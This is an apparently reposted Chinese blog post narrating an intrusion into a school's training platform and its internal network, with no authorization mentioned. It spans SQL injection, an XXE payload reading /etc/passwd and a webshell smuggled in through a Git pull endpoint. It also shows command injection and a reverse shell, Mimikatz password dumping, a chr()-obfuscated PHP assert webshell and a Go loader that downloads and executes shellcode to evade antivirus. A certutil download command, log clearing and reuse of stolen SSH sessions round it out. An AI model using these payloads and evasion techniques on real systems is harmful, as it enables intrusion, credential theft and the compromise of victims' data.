渗透某培训平台经历

某天工作室小伙伴发了个某学校培训平台的URL给我说有注入,于是我们俩就开始了愉快的渗(mo)透(yu)旅程。

0x00 从注入摸到XXE

首先这个站有一个学生登录口和一个管理登录口:

自然是先用学生身份注册一个账号,进去之后到处摸,然后在课程支付的地方找到一个注入点

因为这个培训平台的所有课程都是付费的,所以首先需要支付才能进行学习。在点击支付后会生成一个支付记录,然后跳转至另一个外部网站进行支付过程。然后就找到一个支付记录查询的页面:

对应HTTP包抓一下,发现user_course_id参数有注入:

GET /student/apply/uc/uc_pay_log_list.jsp?user_course_id=&returl=uc%5fuser%5fcourse%5flist%2ejsp&13952 HTTP/1.1Host: xxxCookie: xxxSec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"Sec-Ch-Ua-Mobile: ?0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

是一个MSSQL的bool盲注,数据库用户也是DBA,但是由于不知名原因没法堆叠注入,所以没法直接os-shell

然后跑一手admin表,直接出用户名密码(好家伙,密码直接明文保存)

然后用户名和密码登录管理界面,功能比学生的界面多了很多,可以系统的一些信息,发现Web是root起的

接着在里面乱摸,又摸到了几个注入点,但是由于已经注完了没什么用

然后有两个富文本编辑器ueditor和kindeditor,前者无洞,后者有可以上传HTML的JSP但是没解析,访问直接就下载了,研究了很久,无果

各种上传点也试了,限制得太死了没法绕过

然后找到在学习平台里面有个题目管理,每门课里面都有个在线练习,里面的题目配置长这样:

这不XML嘛,于是果断试一下XXE得不得行

编辑题目抓包,修改题目的XML数据,添加恶意实体:

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE items [<!ENTITY goodies SYSTEM "file:///etc/passwd"> ]><items><item><serial>1</serial><answer>0</answer><title>&goodies;</title></item><item><serial>2</serial><answer>1</answer><title><![CDATA[2]]></title></item><item><serial>3</serial><answer>0</answer><title><![CDATA[3]]></title></item><item><serial>4</serial><answer>0</answer><title><![CDATA[4]]></title></item></items>

打过去成功读到:

然后接着去读别的文件,访问目录可以直接返回当前目录下文件,但是发现一些带有特殊字符的文件就没法读出来,只能读一些ini、config、properties的文件,看样子像用XXE拖源码是不可能了网上搜了一波,只有PHP可以支持php://伪协议从而给输出带一层编码,而这个系统的后端是JSP,故放弃,只能继续寻找有用的配置文件

0x01 发现Git仓库

摸到Web目录下,发现有.git/,config里面暴露了Git服务器地址:9000/,登上去一看是个带认证的自建GitLab服务器:

至此又卡住了,于是接着翻文件

/root下又翻到和Git相关的(好家伙是台实体机):

搜了下.git-credentials,好起来了:

在使用git协议拉取远程代码时,是需要进行用户身份认证的。虽然使用GitHub的开源库+HTTPS协议可以避免认证,但有些不方便公开的私有库就没办法使用了。在使用一些自动化脚本或构建系统时,无法人工手动的输入密码,这就需要使用git所提供的credentials功能来完成用户认证了。是一个Git的用户认证凭据,打开一看是一对账户密码,拿去登一下GitLab,成功进入(好家伙,两页的仓库):

之前翻.bash_history还发现这台机装过Redis,有空接着摸一下文件,审源代码先

0x02 Getshell

审RESTful API的时候发现一个接口Git***Controller.java似乎可以直接进行Git的系统命令操作,部分核心代码如下:

private String gitCmds(String op) {String path = request.getSession().getServletContext().getRealPath("/");String[] cmds = null;EOS os = OSInfo.getOSName();if (os == EOS.Linux || os == EOS.Mac_OS || os == EOS.Mac_OS_X) {cmds = new String[]{"cd " + path, "cd ..", "git " + op};} else if (os == EOS.Windows) {String diskIdentity = path.substring(0, 1);cmds = new String[]{diskIdentity.toUpperCase() + ":", "cd " + path, "cd ..", "git " + op + ""};}String retstr = ShellUtil.runShell(cmds);return retstr;}

于是找到对应的路由,发现有一个已经配置好的/log,可以看提交记录,故尝试访问:

和GitLab那边比对了一下,完全一致,于是猜测仓库和Web目录可能是直接对应的(之前挖到的Git Config也进一步验证了这个想法)

于是想到了一个很骚的思路:

clone仓库,在隐蔽的地方加一个Webshell

commit然后push到GitLab仓库上去

使用Web的那个Git接口执行pull操作,拉取到了最新代码(也就是带Webshell的代码)

本地再进行还原,使用git reset --hard xxxx命令强制回退,再使用git push -u origin master -f强制推送至GitLab仓库

OK,仓库提交记录没有任何变化,如果需要复原只需再从Web端pull一次复原了的代码即可

当然这涉及到关键的业务数据和源代码了,建议如果要进行类似操作一定先自己测试一遍(我是在GitHub开了个新仓库测试的)

接下来果然一切都符合预期,轻松Getshell:

发现Web是反向代理开的,开在8080端口没对外开放,通过Nginx代理出去的

清了一波日志之后去搜了一波子域名,发现还有一个站pcc.xxx后台和这个基本一样,而且在GitLab上也有仓库,于是故技重施又打到了Git接口这发现管理员有提交了,有冲突没法直接pull,在不进行太多改动的情况下没有继续搞了,然后审代码,发现上面那个gitCmds方法可以拼接命令注入……竟然过了这么久才发现

然后就直接反弹shell回来,写了个Webshell维持一下,然后就Getshell了

0x03 拿下第三台机器

整理一下目前得到的信息:

机器1,域名learn.***,外网IP ***.***.***.121,内网IP 192.168.0.125,用户root,系统版本CentOS Linux release 7.6.1810,部署有tomcat(通过反向代理走Nginx出网)、Redis(不出网)机器2,域名pcc.***,外网IP ***.***.***.116,内网IP 192.168.0.106,用户root,系统版本CentOS Linux release 7.6.1810,部署有tomcat(通过反向代理走Nginx出网)机器3,域名g.***,外网IP ***.***.***.126,内网IP未知,系统可能为Windows,部署有GitLab、Nexus Repository Manager OSS,尚未Getshell内网代理Nmap扫描扫到前面两个站的数据库,然后翻源码找到了用户名和密码,直接可以登进去:

发现其中有一个数据库名字和主站某管理登录页面的URI一样,于是摸了一下摸到sys_user表,找到了管理登录的数据(真nb,这几个站连管理员的数据表名字都一模一样,真就找都不用找)

登录进去之后发现功能太多太杂了懒得看,索性直接搞源码下来看

因为是拿下了Git服务器嘛,所以还是先搜搜也没有Git操作的代码,结果果然没有令我失望:@POST@Path("/pull")@Produces(MediaType.APPLICATION_JSON)public Response query(@DefaultValue("") @HeaderParam("X-Gitlab-Token") String sToken) {I***StudentGitConfig config = new I***StudentGitConfig();if (!config.getToken().toLowerCase().equals(sToken.toLowerCase())) {System.out.println("errorToken========" + sToken);return ResponseUtils.doError();}if (!SystemSetting.isGitAuto()) {System.out.println("GitAuto========off");return ResponseUtils.doError();}GitUtil.pull(config);return ResponseUtils.doSuccess();}

这个接口整的就比之前那个高级一点,先是加载了配置数据,还比对了一个GUID类型的Token,我就先摸到那个GitConfig的代码,获取到了Token,然后按要求打过去发现一直报错:

然后再去审GitUtil的代码,发现还要对应的数据表配置项里面的数据符合要求,于是直接修改后再请求,成功了:

后面就又是故技重施了,直接拿下第三台机器student.***(因为配置文件里面加载的不是本站的代码,而是另一个站的也就是student.***的代码)然后发现student.***和learn.***的公网IP一样,但是Getshell之后的内网IP和文件内容之类的完全不一样,于是猜测IP***.***.***.121是一个反向代理服务器,基于请求的Host再分配给不同的内网机器来处理,也就是说student.***和learn.***应该是没有公网IP的

0x04 内网横向

之后又翻了一段时间源代码,没有看到对主站的Git接口,所以暂时就没去管主站了(其实是主站的后台管理里面的功能太tm多了懒得看)于是又把目光移向了数据库,最一开始摸到注入的时候得到用户是DBA,于是直接试了下xp_cmdshell,成功执行,发现这两台数据库服务器不出网:

看了下systeminfo也是没有域环境的,一台Server2008一台Server2019,两台都开了3389

因为不出网,所以要上线就要做代理,我用Pystinger发现没法带出来,所以就只能作罢

接着摸旁站,发现在仓库里有源代码的某站myxx.xxx连接的是另一个数据库,内网IP为192.168.0.10于是直接连接,执行命令发现是SYSTEM权限,且可以出网:

搜集一波基础信息:

机器192.168.0.10,还有一个内网IP192.168.0.14以及另一个C段的内网IP192.168.138.10,通过NAT出网,是一台2008的机器,没有域的存在,查了下杀软有360,但是只打了三个补丁(不会真有人觉得不打补丁单靠360有用吧),遂连免杀都没做直接上线:

接下来是先注入到一些常驻的进程(比如services.exe这种很多进程都把它作为父进程的进程),然后Mimikatz抓了一波密码,好家伙合着这个管理员在哪个网站都是用这同一套的密码……现在大致可以知道整个内网的情况,首先域环境是没有的了,所以目的就是拿下尽可能多的机器了接下来写了个脚本扫了下内网的MSSQL数据库,一共扫出来不少,其中有SYSTEM,有低权限用户,还有不出网的机器

0x05 神奇的超市网站

也扫了下内网的Web,扫出来个很神奇的网站192.168.0.220:

是一个超市的站,但是似乎是个废站了,图片之类的东西全部加载不出来,有注册功能,发送手机验证码也莫得反应

于是通过看源代码,把关键字段丢Github去搜,搜到了该系统后台疑似Ecshop:

百度了一下exp,好家伙,洞那叫一个多啊,Github随便找了一个exp试试看,发现存在能够写进去但是秒被删的情况,洞介绍:ECShop全系列版本远程代码执行高危漏洞分析+实战提权于是开始认真看这个洞的原理,是一个基于Referer的SQL注入+RCE,Github上面找的工具请求都是写死了的局限性很大,解出来之后改了一下就可以了:

发现是Windows机,所以猜测之前秒被删的情况是被杀软拦截了,因为之前找的工具是直接自动化写一句话,没有做免杀稍微做了下免杀,首先把assert拆开变成chr()逐字符拼接绕过敏感字符的匹配,然后用file_put_contents加绝对路径就可以写进去了第一次写入之后发现另一个问题:所有引号被做了转义所以报错,遂把所有字符串都改成了chr()的形式,最终形成的一句话如下:<?php$ch=explode(chr(46),chr(104).chr(101).chr(108).chr(108).chr(111).chr(46).chr(97).chr(115).chr(46).chr(119).chr(111).chr(114).chr(108).chr(100).chr(46).chr(115).chr(101).chr(46).chr(114).chr(116)); // hello.as.world.se.rt$c=$ch[1].$ch[3].$ch[4];// assert$c($_POST[chr(97)]);?>

本来想用冰蝎更稳一点,但是发现目标机器没启用OpenSSL库导致连不上,于是就用蚁剑了,加了个base64编码顺利连上:

Getshell之后翻看了一下,从用户名和里面文件来看应该是一台比较重要的个人服务器,里面也安装了钉钉、360安全浏览器这些东西,再加上用户名在之前拿下的很多网站都有管理员账户,所以目测是一台较核心的机器

0x06 Golang简单的免杀

至此已经拿下了7台机器了(4台Windows均为内网机器,SYSTEM权限、3台Linux为边缘服务器,root权限),由于有的机器不出网,所以统一管理起来很不方便,所以我斗胆在其中一台Linux服务器上某个不起眼的角落部署了一个CS Teamserver,然后将CS通过代理代进内网连接,这样就方便很多了然后继续寻找手段让192.168.0.220的机器上线,由于查看tasklist有360,同时也试过了直接传Web一句话会被删除,并且测试发现蚁剑里面没法执行Powershell命令,一执行就不返回,不知道什么原因只能使用传统的exe上线了由于之前有研究过一点点免杀,通过远程加载Shellcode+Shellcode的轻微变形就可以实现大部分国内杀毒软件的免杀了,同时我用了Golang,相对免杀会更容易一些(唯一的缺点就是生成的文件太大了,不过也问题不大,实际可以基于场景来进行选择)源代码很简单,就是通过HTTP获取Shellcode,然后Base64解密后通过调用Windows的API来进行分配内存、复制数据和调用等操作:package mainimport ("syscall""unsafe""io/ioutil""net/http""encoding/base64")const (MEM_COMMIT = 0x1000MEM_RESERVE= 0x2000PAGE_EXECUTE_READWRITE = 0x40)var (kernel32= syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc= kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))func getCode() []byte {resp, _ := http.Get(":8080/3.txt")body, _ := ioutil.ReadAll(resp.Body)decodeBytes, _ := base64.StdEncoding.DecodeString(string(body))return decodeBytes}func main() {xor_shellcode := getCode()addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))if err != nil && err.Error() != "The operation completed successfully." {syscall.Exit(0)}syscall.Syscall(addr, 0, 0, 0, 0)}

编译出来文件大小6.14MB,将其放在已经拿下的某服务器目录下,在不出网的机器上使用certutil就可以下载exe了

certutil -urlcache -split -f <URL> <Destination>

下载后运行,CS上线,抓哈希之后直接RDP连接:

大概翻了下文件,这台机器只有俩盘,但是有很多内网盘连接在上面,点进去也都只有Web目录是暴露的,看样子还是台开发机()翻来翻去也没看到啥,数据库之前都已经翻过了,Web目录里面也都是Git仓库里面的东西,于是开始寻找新的方向翻翻常用软件吧,随便一找找到了Xshell,点进去发现大量连接会话信息,有部分可以直接连接上服务器:

于是我用之前日下的一台Linux做跳板,把公钥都传上去以实现无密码登录,又拿下了8台Linux机器

0x07 小总结

做了这么多,也该总结下了

目前一共拿下Linux主机11台,均为root权限,Windows主机12台,其中5台SYSTEM权限,7台为数据库权限这些新拿下的Linux机器目前还没有和已知的域名关联上,后续可以研究一下,然后就是那个Git仓库的服务器了,似乎不在这个内网之中,不知道是VPS还是啥结合内网扫描的结果,目前这个平台的几个核心域名下的服务器都被拿下了,内网也摸得差不多了,数据库基本全部拿下,所以可能整个渗透就先告一段落了这次渗透其实真的比较简单,除去最一开始的Web漏洞之外,还有就是通过发现了这个平台开发人员的种种恶习才能够这么顺利,比如很多后台系统的数据库里密码都是明文保存的(1202年了还有人不知道要加哈希吗),再加上这些开发管理人员在所有系统用的都是同一套账号密码,基本上就是那几个变体,通过撞库很容易撞开一些系统的验证,再有就是一些旧站、废站不予以关闭一直开在那,有漏洞的话就很容易被利用下来(所以为什么那个核心的开发机器上面会开一个超市的网站,我至今都没有想通)

最后附一个清理痕迹的链接:

安全研究 | 后渗透阶段清理痕迹方式总结Windows 入侵痕迹清理技巧

转载于:

排版于:天驿安全

更多技术文章请关注:猪猪谈安全

师傅们点赞、转发、在看就是最大的支持